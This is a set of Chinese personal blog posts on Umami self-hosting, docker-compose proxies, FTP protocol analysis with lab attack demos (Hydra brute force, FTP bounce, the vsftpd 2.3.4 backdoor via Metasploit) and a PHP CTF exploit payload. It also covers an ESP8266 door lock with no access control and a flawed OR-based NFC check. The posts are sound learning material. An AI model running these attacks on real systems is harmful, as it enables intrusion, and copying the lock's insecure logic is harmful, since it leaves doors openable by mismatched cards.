在宝塔下使用Umami自建站点访问统计系统
序 一直以来就有想要给无人问津的博客添加一个访问统计。在尝试过百度统计、Google Analytics后发现总是会被Adblock Plus拦截，且本身的需要仅仅是需要一个简单的访问统计和来源分析，用不着太复杂的功能，于是准备自建站点访问统计。 Umami Umami是一个简介且易于使用的自建网站访问分析系统，基于Node.js构建且支持PostgreSQL与MySQL数据库。实测能够很好的解决被Adblock插件屏蔽的问题。 官网：https://umami.is/ 文档：https://umami.is/docs/ GitHub：https://github.com/mikecao/umami 安装与配置 安装环境 宝塔 7 Nginx 1.21 MySQL 5.6 Docker-compose 数据库配置 首先从https://github.com/mikecao/umami/blob/master/sql/schema.mysql.sql获取SQL文件，在宝塔中新建数据库，在这里选择utf8mb4字符集。 然后通过宝塔导入SQL文件。 Docker与docker-compose安装 在宝塔【软件管理】 - 【运行环境】中安装 Docker管理器自动配置好Docker环境，之后在终端中执行以下指令获取最新版docker-compose: # curl -L "https://github.com/docker/compose/releases/download/1.29.2/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose # chmod +x /usr/local/bin/docker-compose # ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose # docker-compose --version 如果最后成功输出版本信息则代表成功安装。与此同时如果正确配置了pip，也可以执行以下指令进行安装： # pip install docker-compose docker-compose.yml 由于宝塔环境已经带有MySQL环境，在这里我们仅需要使用Umami的Docker镜像即可，在这里提供一份我魔改后的docker-compose.yml文件，将以下的数据库信息修改后保存至本地即可，我选择保存至/home/umami目录中。 version: '3' services: umami: image: ghcr.io/mikecao/umami:mysql-latest network_mode: "host" environment: DATABASE_URL: mysql://[用户名]:[密码]@localhost:3306/[数据库名] DATABASE_TYPE: mysql HASH_SALT: [随便编写一段字符串] restart: always 接下来使用docker-compose构建容器，若下载速度较慢，请参考本文章：使用代理为docker-compose加速 # cd /home/umami # docker-compose up -d 至此容器构建完成，Umiami运行在http://127.0.0.1:3000下。 使用Nginx进行反向代理与跨域配置 在宝塔中新建网站，配置SSL后选择反向代理，配置如下： 之后在【配置文件】第7行后添加以下内容来配置跨域： ... root /www/wwwroot/xxx; add_header Access-Control-Allow-Origin * always; add_header Access-Control-Allow-Methods GET,POST,DELETE; add_header Access-Control-Allow-Header Content-Type,*; #SSL-START SSL相关配置，请勿删除或修改下一行带注释的404规则 ... 若使用CDN服务，也需要在CDN处配置跨域。 添加站点与使用 访问刚才配置好的站点，使用默认账户名admin与密码umami进行登录。（题外话：写到这里被老师点起来回答CRC的过程了，记录一下，吓死去...） 选择【Settings】-【Websites】-【Add website】，填写网站名称与域名后，将获得的代码添加至网站 标签之前。如果以上步骤未出现差错的话，刷新Umami即可获得访问记录。（右上角球形图标可以切换语言） 结 类似于Umami这类网站访问统计系统还有很多，但它简单与轻量的特性非常符合我的需求。本博客已经使用Umami一段时间，整体非常稳定，合理的配置后并不会拖慢网站整体访问速度。在高并发下如果配置多容器做负载均衡也是不错的解决方案。
序 在生产环境中经常会使用docker-compose来部署项目，由于众所周知的原因，在国内网络环境中下载部分托管在第三方平台的docker镜像会有下载缓慢的问题。下面将介绍快速使用代理为docker-compose加速。 .env 文件 在Docker文档中提到Docker-compose支持加载当前工作目录下的.env文件，原文如下： Compose supports declaring default environment variables in an environment file named .env placed in the project directory. Docker Compose versions earlier than 1.28, load the .env file from the current working directory, where the command is executed, or from the project directory if this is explicitly set with the --project-directory option. This inconsistency has been addressed starting with +v1.28 by limiting the default .env file path to the project directory. You can use the --env-file commandline option to override the default .env and specify the path to a custom environment file. 综上，我们在与docker-compose.yml同目录下创建.env文件： HTTP_PROXY=proxy_url:port //例 HTTP_PROXY=127.0.0.1:1080 HTTPS_PROXY=proxy_url:port FTP_PROXY=proxy_url:port NO_PROXY=no_proxy_url 然后再运行docker-compose up即可。
序 这里是计算机网络课程的第一个作业，仅此记录一下并提出一些自己的思考。 FTP协议初步分析 测试环境 FTP Server 10.60.8.254 : 21/20 vsFTPD 3.0.3 username : mion password : password FTP Client 10.27.157.176 FTP 0.17-34.1.1 分析工具 Wireshark 3.4.4 Fillter : ip.addr == 10.60.8.254 and ftp and ftp-data 注：由于仅探究FTP的行为，在此忽略TCP相关报文。 在FTP主动模式下传输文件 用户行为 FTP客户端使用账户并在主动模式下连接FTP服务器 FTP客户端上传文件"file" FTP客户端断开连接 数据包分析 以下数据包为从Wireshark导出后经过整理产生的表格。 源 目标 报文 说明 10.60.8.254:21 10.27.157.176:59220 Response: 220 (vsFTPd 3.0.3) 经过TCP三次握手后，FTP服务器响应220代表准备连接 10.27.157.176:59220 10.60.8.254:21 Request: USER mion 发起 USER 指令 10.60.8.254:21 10.27.157.176:59220 Response: 331 Please specify the password. 响应331 准备校验密码 10.27.157.176:59220 10.60.8.254:21 Request: PASS password 发起PASS指令 10.60.8.254:21 10.27.157.176:59220 Response: 230 Login successful. 响应230 登录成功 10.27.157.176:59220 10.60.8.254:21 Request: SYST 发起 SYST 指令，获取FTP服务器系统类型 10.60.8.254:21 10.27.157.176:59220 Response: 215 UNIX Type: L8 响应 系统类型为UNIX 10.27.157.176:59220 10.60.8.254:21 Request: TYPE I 切换传输模式为 Binary模式 10.60.8.254:21 10.27.157.176:59220 Response: 200 Switching to Binary mode. 响应 200 成功 10.27.157.176:59220 10.60.8.254:21 Request: PORT 10,27,157,176,151,199 发起PORT指令，建立主动模式文件传输连接，客户端监听38855端口 10.60.8.254:21 10.27.157.176:59220 Response: 200 PORT command successful. Consider using PASV. 响应 200 并推荐采用被动模式 10.27.157.176:59220 10.60.8.254:21 Request: STOR file 发起 STOR 命令 要求存储文件为 file 10.60.8.254:21 10.27.157.176:59220 Response: 150 Ok to send data. 响应150 准备接收文件 10.27.157.176:38855 10.60.8.254:20 FTP Data: 5 bytes (PORT) (STOR file) 文件传输包，通过主动模式传输 10.60.8.254:21 10.27.157.176:59220 Response: 226 Transfer complete. 响应226 文件传输完成 10.27.157.176:59220 10.60.8.254:21 Request: QUIT 发起 QUIT 指令 10.60.8.254:21 10.27.157.176:59220 Response: 221 Goodbye. 响应 221 结束连接 总结分析 从以上信息我们可以得出FTP 主动模式工作方式如下： FTP Client 发起 PORT 命令，携带参数为监听端口。其中参数前四位为IP地址，后两位为端口号，计算方法： $$ 端口号=(第一位\times256)+第二位 $$ 其中，开启的端口号为某一随机端口，而非网络上流传的N+1端口。根据RFC 959，此观点也得到了证实: 3.2. ESTABLISHING DATA CONNECTIONS The mechanics of transferring data consists of setting up the data connection to the appropriate ports and choosing the parameters for transfer. Both the user and the server-DTPs have a default data port. The user-process default data port is the same as the control connection port (i.e., U). The server-process default data port is the port adjacent to the control connection port (i.e., L-1). ... Every FTP implementation must support the use of the default data ports, and only the USER-PI can initiate a change to non-default ports. It is possible for the user to specify an alternate data port by use of the PORT command. FTP Server 20端口建立与 FTP Client监听端口的连接，此过程在TCP握手报文中有体现，以上并未给出。 通过新建立的连接进行文件传输，且文件为明文，通过Wireshark分析如下： 主动模式与被动模式差异 用户行为 FTP客户端使用账户并在被动模式下连接FTP服务器 FTP客户端上传文件"file" FTP客户端断开连接 数据包分析 此部分仅对比主动模式与被动模式差异，数据包为从Wireshark导出后经过整理产生的表格。 源 目标 报文 说明 10.27.157.176:60976 10.60.8.254:21 Request: PASV 发起 PASV 命令，要求建立被动模式连接 10.60.8.254:21 10.27.157.176:60976 Response: 227 Entering Passive Mode (10,60,8,254,76,13). 响应227 成功进入被动模式，并且返回监听的非特权端口 10.27.157.176:60976 10.60.8.254:21 Request: STOR file 发起 STOR 命令 要求存储文件为 file 10.60.8.254:21 10.27.157.176:60976 Response: 150 Ok to send data. 响应150 准备接收文件 10.27.157.176:35758 10.60.8.254:19469 FTP Data: 5 bytes (PASV) (STOR file) 文件传输包，通过被动模式传输 10.60.8.254:21 10.27.157.176:60976 Response: 226 Transfer complete. 响应226 文件传输完成 总结分析 FTP Client 发起 PASV 命令。 FTP Server 开始监听某一非特权端口，返回监听地址与端口。 开始明文传输文件。 EPRT与EPSV模式 根据RFC 2428,FTP对IPv6进行支持并提出EPRT与EPSV模式，这里仅做部分引用介绍。 The EPRT Command The EPRT command allows for the specification of an extended address for the data connection. The extended address MUST consist of the network protocol as well as the network and transport addresses. The format of EPRT is: EPRT The EPSV Command The EPSV command requests that a server listen on a data port and wait for a connection. The EPSV command takes an optional argument. The response to this command includes only the TCP port number of the listening connection. The format of the response, however, is similar to the argument of the EPRT command. This allows the same parsing routines to be used for both commands. In addition, the format leaves a place holder for the network protocol and/or network address, which may be needed in the EPSV response in the future. The response code for entering passive mode using an extended address MUST be 229. The interpretation of this code, according to [PR85] is: 2yz Positive Completion x2z Connections xy9 Extended Passive Mode Entered The text returned in response to the EPSV command MUST be:() The portion of the string enclosed in parentheses MUST be the exact string needed by the EPRT command to open the data connection, as specified above. 匿名账户登录 通过配置FTP Server开启匿名登录，得到以下数据包： 源 目标 报文 10.60.8.254:21 10.27.157.176:36430 Response: 220 (vsFTPd 3.0.3) 10.27.157.176:36430 10.60.8.254:21 Request: USER ftp 10.60.8.254:21 10.27.157.176:36430 Response: 331 Please specify the password. 10.27.157.176:36430 10.60.8.254:21 Request: PASS 10.60.8.254:21 10.27.157.176:36430 Response: 230 Login successful. 10.27.157.176:36430 10.60.8.254:21 Request: SYST 10.60.8.254:21 10.27.157.176:36430 Response: 215 UNIX Type: L8 10.27.157.176:36430 10.60.8.254:21 Request: QUIT 10.60.8.254:21 10.27.157.176:36430 Response: 221 Goodbye. 即通过匿名账户就可以登录FTP Server并进行操作。 FTP攻击测试与分析 对FTP账户进行枚举暴力登录 FTP由于鉴权方式过于简单且本身没有对枚举进行限制，对与较为简单的账户密码非常容易通过暴力破解进行登录，以下将对本攻击方式进行演示。 测试环境 靶机信息 Metasploitable 2 192.168.255.128 测试工具 Hydra v9.1 测试结果 $ hydra -L ftpaccount -P ftpaccount ftp://192.168.255.128 Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-09-10 13:40:50 [DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task [DATA] attacking ftp://192.168.255.128:21/ [21][ftp] host: 192.168.255.128 login: msfadmin password: msfadmin 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-09-10 13:40:51 为了便于演示，这里使用较为简单的字典进行爆破。可以看见，在字典和时间足够充裕的情况下，若管理员没有设置足够复杂的口令，特别是当FTP服务器意外开启匿名身份验证后极易被爆破出账号密码。 对FTP进行端口窃取 根据RFC 2577,FTP通过主动模式或被动模式开启的非特权端口由于没有合理的校验机制，会被恶意碰撞导致端口窃取等问题。原文如下： Port Stealing Many operating systems assign dynamic port numbers in increasing order. By making a legitimate transfer, an attacker can observe the current port number allocated by the server and "guess" the next one that will be used. The attacker can make a connection to this port, thus denying another legitimate client the ability to make a transfer. Alternatively, the attacker can steal a file meant for a legitimate user. In addition, an attacker can insert a forged file into a data stream thought to come from an authenticated client. This problem can be mitigated by making FTP clients and servers use random local port numbers for data connections, either by requesting random ports from the operating system or using system dependent mechanisms. 由于技术水平受限，在此仅做技术讨论。 对FTP连接进行中间人(MITM)监听 FTP连接完全为明文传输，通过Ettercap等工具进行ARP欺骗可以非常简单地对FTP连接进行中间人攻击，实现包括但不限于：获取账户与密码信息、获取传输文件、SSRF攻击等。 在之前的FTP分析中已经展示过这一点，此处不再赘述。 FTP反射攻击(FTP bounce attack) 测试环境 靶机信息 FTP Server Metasploitable 2 192.168.255.128 FTP Client 192.168.255.129 反射服务器 192.168.255.1 使用Netcat监听12345端口 测试工具 Telenet Netcat 测试过程 首先在反射服务器上使用Netcat监听12345端口： $ nc -l 12345 在FTP Client上使用Telnet与FTP服务器交互 $ telnet 192.168.255.128 21 Trying 192.168.255.128... Connected to 192.168.255.128. Escape character is '^]'. 220 (vsFTPd 2.3.4) USER msfadmin 331 Please specify the password. PASS msfadmin 230 Login successful. PORT 192,168,255,1,48,57 //执行反射，建立一条与反射服务器的连接 200 PORT command successful. Consider using PASV. LIST //执行LIST指令 150 Here comes the directory listing. 226 Directory send OK. QUIT 221 Goodbye. Connection closed by foreign host. 最后在反射服务器上接收到如下信息： $ nc -l 12345 drwxr-xr-x 6 1000 1000 4096 Apr 28 2010 vulnerable 为上述通过LIST指令发送的内容。 结果分析 造成此问题是因为FTP主动模式下传输的地址存在被恶意修改为任意地址的风险，攻击人员可以通过预先准备好的反射命令向任意目标发起反射请求，例如通过PUT和GET指令等。当然，目前大部分FTP Server程序已经就此问题进行了解决，如限制PORT指令连接的服务器必须是发起指令的服务器等（靶机中的FTP Server经过修改去除了这一限制）。 对FTP连接进行SSRF攻击 此类攻击的原理与上文的FTP Bounuce Attack有些类似，是FTP在被动模式下返回的Response: 227 Entering Passive Mode (10,60,8,254,76,13)字段可被攻击者通过MITM攻击等方式截获修改导致客户端错误地连接上第三方服务器的问题。由于技术水平有限且此类攻击实现较为复杂，此处暂不做实现。 CVE-2011-2523 笑脸漏洞 测试环境 靶机信息 Metasploitable 2 192.168.255.128 测试工具 Metasploit 测试结果 msf6 > use exploit/unix/ftp/vsftpd_234_backdoor [*] No payload configured, defaulting to cmd/unix/interact msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhost 192.168.255.128 rhost => 192.168.255.128 msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run [*] 192.168.255.128:21 - Banner: 220 (vsFTPd 2.3.4) [*] 192.168.255.128:21 - USER: 331 Please specify the password. [+] 192.168.255.128:21 - Backdoor service has been spawned, handling... [+] 192.168.255.128:21 - UID: uid=0(root) gid=0(root) [*] Found shell. [*] Command shell session 1 opened (192.168.255.1:43683 -> 192.168.255.128:6200) at 2021-09-10 14:47:11 +0800 whoami root 此漏洞发生在vsftpd 2.3.4版本中，在代码中存在一个重大的问题，在文件srt.c中出现一段与程序无关的代码。 else if((p_str->p_buf[i]==0x3a)&&(p_str->p_buf[i+1]==0x29)){ vsf_sysutil_extra(); } 可以判断为后门程序，只需要在传入用户名的结尾处加入:)字符就可以获取root权限。 总结 FTP作为互联网形成初期就存在的协议，放到50年后的今天来看存在着不少问题。这里既包括但不限于： 明文传输与落后的身份鉴别造成的信息泄露、枚举破解的问题。 没有合理的校验造成的被恶意修改、劫持等问题。 需要额外创建新连接造成的被恶意重定向、反射的问题。 FTP Client与FTP Server在实际实现上存在的问题（如CVE-2011-2523）。 ... 以上，仅仅对部分FTP存在的问题进行浅显的讨论，我们需要吸收FTP既有的智慧，也要弥补其存在的缺陷，更要能够推陈出新，择其善者而从之，其不善者而改之。 参考资料 RFC 354：https://tools.ietf.org/html/rfc354 RFC 2428 : https://tools.ietf.org/html/rfc2428 RFC 2577 : https://tools.ietf.org/html/rfc2577
序 这是一道群里大佬出的红包题，由于我是非预期解题，这里给出一下出题人Write Up和自己的一些思考。 原题 PHP Ver : 5.3.29 <?php ini_set("display_errors", "On"); error_reporting(E_ALL | E_STRICT); $flag=0; $array = array('MXPUMXPUMXPUMXPU' => 1, 'NWPUNWPUNWPUNWPU' => 2, 'MXOvMXOvMXOvMXOv' => 3,'NWOvNWOvNWOvNWOv' => 'phpinfo();'); $ref = &$array; if (isset($_GET['data_key']) && isset($_GET['data_value'])) { $data_key = $_GET['data_key']; $data_value = $_GET['data_value']; if (preg_match('/MX|PU|NW|Ov/i', $data_key)) { die('nonono'); } else{ foreach ($array as $key => $value) { if ($flag===0){ unset($array['NWPUNWPUNWPUNWPU']); $array[$data_key] = $data_value; $flag=1; } if($key=='NWOvNWOvNWOvNWOv'){ call_user_func('assert',$value); die(''); } if (current($array) === false) { call_user_func('assert',$value); } } } } else{ highlight_file(__FILE__); } 题解 注意到是php版本5，用了foreach方法，注意到php5中数组和php7存在区别，具体可见： https://stackoverflow.com/questions/10057671/how-does-php-foreach-actually-work/14854568#14854568 https://www.phpinternalsbook.com/php5/hashtables/hash_algorithm.html 了解到hash算法是djbx33a后，考虑hash碰撞。由于该hash算法的特性，两两⼀组进行碰撞，碰撞出array_key=O6Q4O6Q4O6Q4O6Q4. POC static inline unsigned long zend_inline_hash_func(const char *arKey, unsigned int nKeyLength) { register unsigned long hash = 5381; /* variant with the hash unrolled eight times */ for (; nKeyLength >= 8; nKeyLength -= 8) { hash = ((hash << 5) + hash) + *arKey++; hash = ((hash << 5) + hash) + *arKey++; hash = ((hash << 5) + hash) + *arKey++; hash = ((hash << 5) + hash) + *arKey++; hash = ((hash << 5) + hash) + *arKey++; hash = ((hash << 5) + hash) + *arKey++; hash = ((hash << 5) + hash) + *arKey++; hash = ((hash << 5) + hash) + *arKey++; } switch (nKeyLength) { case 7: hash = ((hash << 5) + hash) + *arKey++; case 6: hash = ((hash << 5) + hash) + *arKey++; case 5: hash = ((hash << 5) + hash) + *arKey++; case 4: hash = ((hash << 5) + hash) + *arKey++; case 3: hash = ((hash << 5) + hash) + *arKey++; case 2: hash = ((hash << 5) + hash) + *arKey++; case 1: hash = ((hash << 5) + hash) + *arKey++; break; case 0: break; } return hash; } int main() { char a[3]; a[2] = 0; for (byte i = 0; i < 255; i += 1) { a[0] = i; for (byte j = 0; j < 255; j += 1) { a[1] = j; if (zend_inline_hash_func(a, 2) == zend_inline_hash_func("PU", 2)) { std::cout << int(a[0]) << ',' << int(a[1]) << std::endl; } } } } 绕过后，进行命令执行，发现开了magic quote，所有的'会被转义成\' https://www.cnblogs.com/phpddt/articles/3131136.html 用php中的char函数来构造字符串。 http://xxx/?data_key=O6Q4O6Q4O6Q4O6Q4&data_value=var_dump(file_get_contents(chr(47).flag)); 思考 在刚拿到这道题的时候尝试使用正则绕过来构造PoC如下： http://xxx/?data_key=N%0AW%0AP%0AU%0AN%0AW%0AP%0AU%0AN%0AWPUNWPU%0A&data_value=phpinfo(); 发现怎么也跑不进构造的新数组里去。 在阅读大佬放出的Hint后得到如下关键信息： 于是想到直接碰撞hash，但是苦于找不到PHP的hash算法，就随便魔改了一下原字符串得到： http://xxx/?data_key=WNUPWNUPWNUPWNUP&data_value=phpinfo(); 魔幻的事情开始了，竟然能够成功执行代码并非预期解拿到了flag和一杯奶茶。非预期解原因暂时未知。
序 这是一个从刚入学就挖下的坑，宿舍老旧的门锁与会捉迷藏的钥匙总把我锁在外面，室友有时也没有那么可靠。于是准备把门锁做非破坏性的改造，支持上手机控制。后来又考虑到需要在断网的时候也能够正常访问，又加入了NFC刷卡开门。由于东西仅限自娱自乐且宿舍楼道有完备的安防监控，本项目没有准备任何访问控制。以下是实现的过程。 本项目源码已打包至https://github.com/MoeMion/Magic_Door/. 材料准备 ESP8266开发板 整个系统的控制中枢，支持Wi-Fi连接并且附带丰富的引脚，常用于物联网开发。在这里我选择了CH340处理器的版本，并在Arduino IDE上进行编程开发。（关于Arduino IDE与CH340驱动的问题可以通过搜索引擎快速解决） 价格：13 元 附ESP8266引脚定义图示.注意，D0(GPIO16) 仅能用于GPIO读写，不支持PWM/I2C/OW信号传输。 MF RC522 模块 负责NFC通信。由于需求简单，这里选择的版本不支持加密卡读写。 价格：12 元 MG995舵机 用来拉动机械门闩。 价格：15元 注意：MG995电机有多个版本，请选购180°带限位版本，360°版本仅能通过PWM信号控制旋转时间，不能控制具体角度！由于舵机不正确使用易烧坏，请小心使用！ 引脚解释： 棕 : GND 红 : VCC （5V或3.3V均可，实测5V转动速度更快） 黄： PWM信号 MH-FMD 无源蜂鸣器 用于输出声音提醒。 价格：2元 杜邦线若干、热熔胶枪 连接各部分传感器。主要用到了公对母与母对母两种。 MG995舵机控制 装置的核心功能，需要将舵机物理连接到门闩。 实现目标 控制舵机旋转一定角度拉动机械结构开门，并在一定时间后复位。 开机时自动复位。 防止在开门时间内重复动作。 防止delay()函数带来的进程阻塞。 接线 ESP8266 MG995 VU VCC GND(临近VU) GND D3(GPIO0) PWM 参考代码 为实现防止进程阻塞，这里使用CxgJSTime库，GitHub Repo:https://github.com/chengxg/cxg-arduino-lib/tree/master/CxgJSTime 以下的代码仅为精简过后的该部分功能实现代码，仅供参考。 #include <Arduino.h> #include <Servo.h> #include <cxg_JSTime.h> Servo servo; //初始化舵机对象 JSTime jsTime; //初始化jstime对象 int servoStatus = 0; //标记舵机状态，0为放下1为拉起 void setup() { servo.attach(0, 500, 2500); //第一个坑，参数：PWM对应的GPIO接口,最小PWM信号,最大PWM信号，不同舵机参数不一样，默认参数不适用于本舵机。搜索引擎上大部分文档不会给出后两个参数！ servo.write(1); //参数为旋转的角度，通电后将电机复位，为0时偶尔会造成舵机卡死 } void opendoor() { if(servoStatus){ return; } servoStatus = 1; //标记舵机升起 servo.write(90);//舵机旋转90度，拉起门栓。实测90度够用，若长度不够可以改成180度 buzzersuccess(); //控制蜂鸣器播放成功提示音 int timeId = jsTime.setTimeout([]() { servo.write(1); //复位舵机 servoStatus = 0; //标记舵机放下 }, 10000); //延迟10秒,舵机复位，放下门栓 } void loop() { jsTime.refresh(); //刷新jsTime对象 } Web控制 通过无线网络接入来控制舵机开关。 实现目标 使用ESP8266WiFi库接入无线局域网。 使用ESP8266WebServer库实现WebServer以相应请求。 实现开门、心跳检测、重启、关闭面板LED灯等操作。 网络接入 ESP8266模块仅支持2.4G的Wi-Fi连接。此外在连接到无线路由器后需要绑定IP地址。若需要外网访问的话还得进行内网穿透。在这里我使用部署在宿舍的树莓派进行转发。 参考代码 #include <Arduino.h> #include <ESP8266WiFi.h> #include <ESP8266WebServer.h> ESP8266WebServer web(80); //初始化web对象 void setup(){ //连接网络 WiFi.begin("SSID", "PASSWORD"); while (WiFi.status() != WL_CONNECTED) { Serial.println("Scan wifi..."); delay(1000); } Serial.println('\n'); Serial.print("Connected to "); Serial.println(WiFi.SSID()); // WiFi连接成功后通过串口监视器输出连接的WiFI名称 Serial.print("IP address:\t"); Serial.println(WiFi.localIP()); // WiFi连接成功后通过串口监视器输出IP地址 //初始化WEB服务 web.on("/", handleindex); //默认页面 web.on("/check", handleHeartbeat); //心跳检测 web.on("/open", handleOpenDoor); //开门 web.on("/restart", handleRestart); //重启 web.on("/ledoff", handleLedoff); //关闭面板LED灯 web.onNotFound(handleNotFound); //处理404请求 web.begin(); Serial.println("Webserver begain."); } void loop() { web.handleClient(); } void handleOpenDoor() { if(servoStatus == 0){ web.send(200, "text/plain", "1"); //舵机成功升起并返回1 opendoor(); }else{ web.send(200, "text/plain", "2"); //若舵机已升起则返回2 } } void handleHeartbeat() { web.send(200, "text/plain", "1"); } void handleindex() { web.send(200, "text/plain", "This is a unsmart door locker by Mion!"); } void handleNotFound() { web.send(404, "text/plain", "Oops!Page is missing!"); } void handleRestart() { web.send(200, "text/plain", "1"); ESP.restart(); } void handleLedoff() { web.send(200, "text/plain", "1"); led_off(); //关闭ESP8266面板上的LED灯，此部分代码在之后给出 } Web客户端 上文实现了Web控制及响应，但总不能每次都通过访问URL这样不友好的方式开门，于是通过Web与PWA实现了客户端。PWA实现方式详见：为网站增加PWA支持实现原生应用体验 实现目标 点击按钮即可开门 实时刷新门禁在线状态 使用PWA将Web添加至桌面 门锁已开启时给出提示 美观的界面 演示 参考代码 这里仅给出部分代码，与PWA相关文件请参考上述文章进行配置。页面使用Argon Design Sytem进行构建。 index.html MagicDoor | Powered By Mion 少年，快使用魔力！ 正在给先生作诗... 门禁状态 查询中 开门 安装APP 查询中... controller.php <?php $ip = "ESP8266地址"; $action = $_REQUEST["action"]; switch ($action){ case "open" : opendoor($ip);break; case "check" : check($ip);break; case "restart" : restart($ip);break; default : exit("参数非法或不存在！"); } function opendoor($ip){ $ch = curl_init(); //file_get_contents()在这里效率莫名的低... curl_setopt($ch, CURLOPT_URL, "http://$ip/open"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT , 5); curl_setopt($ch, CURLOPT_TIMEOUT, 10); $result = curl_exec($ch); curl_close($ch); if($result == "1"){ exit("100"); }elseif ($result == "2") { exit("200"); }else{ echo $result; exit("0"); } } function check($ip){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://$ip/check"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT , 5); curl_setopt($ch, CURLOPT_TIMEOUT, 10); $result = curl_exec($ch); curl_close($ch); if($result == "1"){ exit("100"); }else{ echo $result; exit("0"); } } function restart($ip){ $ch = curl_init(); //file_get_contents()在这里效率莫名的低... curl_setopt($ch, CURLOPT_URL, "http://$ip/restart"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT , 5); curl_setopt($ch, CURLOPT_TIMEOUT, 10); $result = curl_exec($ch); curl_close($ch); if($result == "1"){ exit("100"); }else{ echo $result; exit("0"); } } ?> NFC控制 本部分用于在离线场景下进行开门，实际由于手机和手表支持NFC模拟门卡解锁速度比Web更快。 实现目标 读取NFC卡片ID信息 根据ID信息执行相应动作 正确则开门；错误则在串口输出ID并相应错误提示音 接线 参考代码 #include <SPI.h> #include <MFRC522.h> #include <Arduino.h> const int RST_PIN = 5; const int SS_PIN = 4; MFRC522 rfid(SS_PIN, RST_PIN); //初始化rfid实例 MFRC522::MIFARE_Key key; byte keynuid[4] = {0, 0, 0, 0}; //正确的NFC卡片八进制ID，请根据串口输出修改 void setup(){ //初始化NFC SPI.begin(); rfid.PCD_Init(); for (byte i = 0; i < 6; i++) { key.keyByte[i] = 0xFF; } Serial.println("NFC module initialized."); } void loop(){ if ( ! rfid.PICC_IsNewCardPresent()) return; if ( ! rfid.PICC_ReadCardSerial()) return; if (rfid.uid.uidByte[0] == keynuid[0] || rfid.uid.uidByte[1] == keynuid[1] || rfid.uid.uidByte[2] == keynuid[2] || rfid.uid.uidByte[3] == keynuid[3] ) { Serial.println("NFC card right."); opendoor(); }else { buzzerfailed(); Serial.println("NFC card wrong.Card OTC NID:"); printnuid(rfid.uid.uidByte, rfid.uid.size); //输出错误卡片的八进制ID } rfid.PICC_HaltA(); rfid.PCD_StopCrypto1(); } void printnuid(byte *buffer, byte bufferSize) { for (byte i = 0; i < bufferSize; i++) { Serial.print(buffer[i] < 0x10 ? " 0" : " "); Serial.print(buffer[i], OCT); } } 蜂鸣器与LED控制 接线 ESP8266 蜂鸣器 3V VCC GND GND D4(GPIO02) I/O 参考代码 void buzzersuccess() { tone(2, 523,200); delay(200); noTone(2); tone(2, 587); delay(200); noTone(2); tone(2, 659); delay(200); noTone(2); } void buzzerfailed() { tone(2, 261); delay(200); noTone(2); delay(100); tone(2, 261); delay(200); noTone(2); } void led_off(){ digitalWrite(LED_BUILTIN, HIGH); } 附：Frequencies for equal-tempered scale 总结 将以上代码有机组合之后即可完成整件作品。很容易发现本项目没有任何访问控制与安全控制，请谨慎采用。当然，由于经验不足以上代码还有大量的缺点，若您有能力请自行修改！ 本文部分配图来源于网络，若有侵权请联系删除。 感谢 感谢@Kvar_ispw17大佬对本项目的指导与帮助！！！